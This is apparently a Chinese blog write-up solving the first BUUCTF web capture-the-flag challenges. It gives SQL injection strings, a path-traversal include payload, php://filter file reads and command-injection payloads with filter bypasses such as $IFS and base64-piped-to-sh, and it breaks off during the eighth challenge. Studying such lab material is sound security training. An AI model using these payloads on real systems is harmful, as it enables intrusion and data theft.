buuctf.web 1-32

1、[极客大挑战 2019]EasySQL

考点:万能密码

username=1&password=1

原理:利用or属性;构造闭合;password =“1” or “1”=“1”;服务器会认为password =“1” or “1”="1"恒为真;会输出所有信息

password=a' or 1=1 #

2、[极客大挑战 2019]Havefun

考点:php代码审计

$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
   
echo 'Syc{cat_cat_cat_cat}';
}

get方式传递参数为dog即可

3、[HCTF 2018]WarmUp

考点:php代码审计

参考链接:https://blog.youkuaiyun.com/Myon5/article/details/134286537

 <?php
    highlight_file(__FILE__);
    class emmm //定义emmm类
    {
   
        public static function checkFile(&$page)) //静态方法checkfile
        {
   
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
   #1、检查page是否是string;即字
符串类型
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
   {
   #2、检查传入的page是否在白名单中
                return true;
            }
            $_page = mb_substr((#处理传递进来的参数
                $page,
                0,
                mb_strpos($page . '?', '?')#mb_trpos函数找到page中第一个问号位置;然后
使用mb_substr函数将问号之前的部分作为$_page处理;返回的值是?在page中出现的位置
            );
            if (in_array($_page, $whitelist)) {
   
                return true;
            }
            $_page = urldecode($page);;#将$_page进行url解码处理
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
   
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
   
        include $_REQUEST['file'];#文件包含点
?>

思路:利用Include函数将flag文件包含出来
流程:假设传入为hint.php;首先查’hint.php’是否是一个字符串;检查是否在白名单中;通过;执行mb_substr函数;但是这个函数的以mb_strpos函数的结果作为输入(hint.php不包含?;首先连接?得到hint.php?;然后找’?'在字符串’hint.php?'中第一次出现的位置,从0开始算,返回8,即length=8;在执行mb_substr函数;即mb_substr(‘hint.php’,0,8);返回的值还是hint.php);然后将mb_substr的返回结果继续判断是否在白名单中;那么我们就可以构造恶意payload

file=hint.php?(恶意代码)

hint.php?经过php代码检查判断还是符合白名单条件;就可以在后面利用include函数读取指定文件;最终的exp

source.php?file=hint.php?/../../../../ffffllllaaaagggg
source.php?file=source.php?/../../../../ffffllllaaaagggg

4、ACTF2020 新生赛]Include

考点:文件包含

引入眼帘的就是经典的文件包含url(不回显示)

参考链接:https://www.wlhhlc.top/posts/14827/#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-78-88-116-117

?file=php://filter/convert.base64-encode/resource=flag.php

5、[ACTF2020 新生赛]Exec

考点:rce

比较基础的一道题目;没有任何过滤;直接凭借命令执行就行了

127.0.0.1&&tac /flag

6、[GXYCTF2019]Ping Ping Ping

考点:rce

参考链接:https://blog.youkuaiyun.com/weixin_73904941/article/details/143275207

1、首先空格过滤了;使用< ${
   IFS} $IFS$9 %09 代替
?ip=1;$IFS$9cat$IFS$9flag.php
2、发现过滤了flag;变量拼接绕过
a=g;cat$IFS$9fla$a.php
#方法1 变量拼接
?ip=1;a=g;cat$IFS$9fla$a.php
#方法2 反引号绕过
?ip=1;cat$IFS$9`ls`
#方法3 base64编码绕过
?ip=1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

7、[SUCTF 2019]EasySQL

考点:sql注入

(1)通过bp抓包分析发现对下面内容进行了过滤;那么就不能进行union联合注入;报错注入;盲注了

prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|fro
m|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|

(2)进行堆叠注入;通过;将多条SQL语句放在一起进行查询

#查询数据库名称
1;show databases;#猜测falg在CFI数据库下
#查询表名称
1;show tables;#发现了falg表

尝试用from查询flag表的内容;发现from被过滤了;继续测试发现有个利用点;输入非0数字会回显;其他字符没有回显;猜测后端代码使用了||或运算符号

#||或运算符号在SQL语句中的作用
select command1 || command2
情况一:若command1为非0数字,则结果为1。
情况二:若command1为0或字母,command2为非0数字,则结果为1。
情况三:command1和command2都不为非0数字,则结果为0

本题目的后端代码

$sql = "select ".$post['query']."||flag from Flag";

(3)绕过方法

1、采用sql_mode中的PIPES_AS_CONCAT 函数;此函数会将||或运算符号转化为链接字符;就是先查询||前面的;在查询后面的

1;sql_mode=PIPES_AS_CONCAT;select 1

2、采用非预期漏洞获取flag

select * , 1 || flag from Flag

8、[极客大挑战 2019]LoveSQL

考点:sql注入
首先可以直接利用salmap跑出;但是为了理解原理还是采用手工注入
1、测试注入点 1’ or 1=1#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

巅峰赛2000分以下是巅峰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值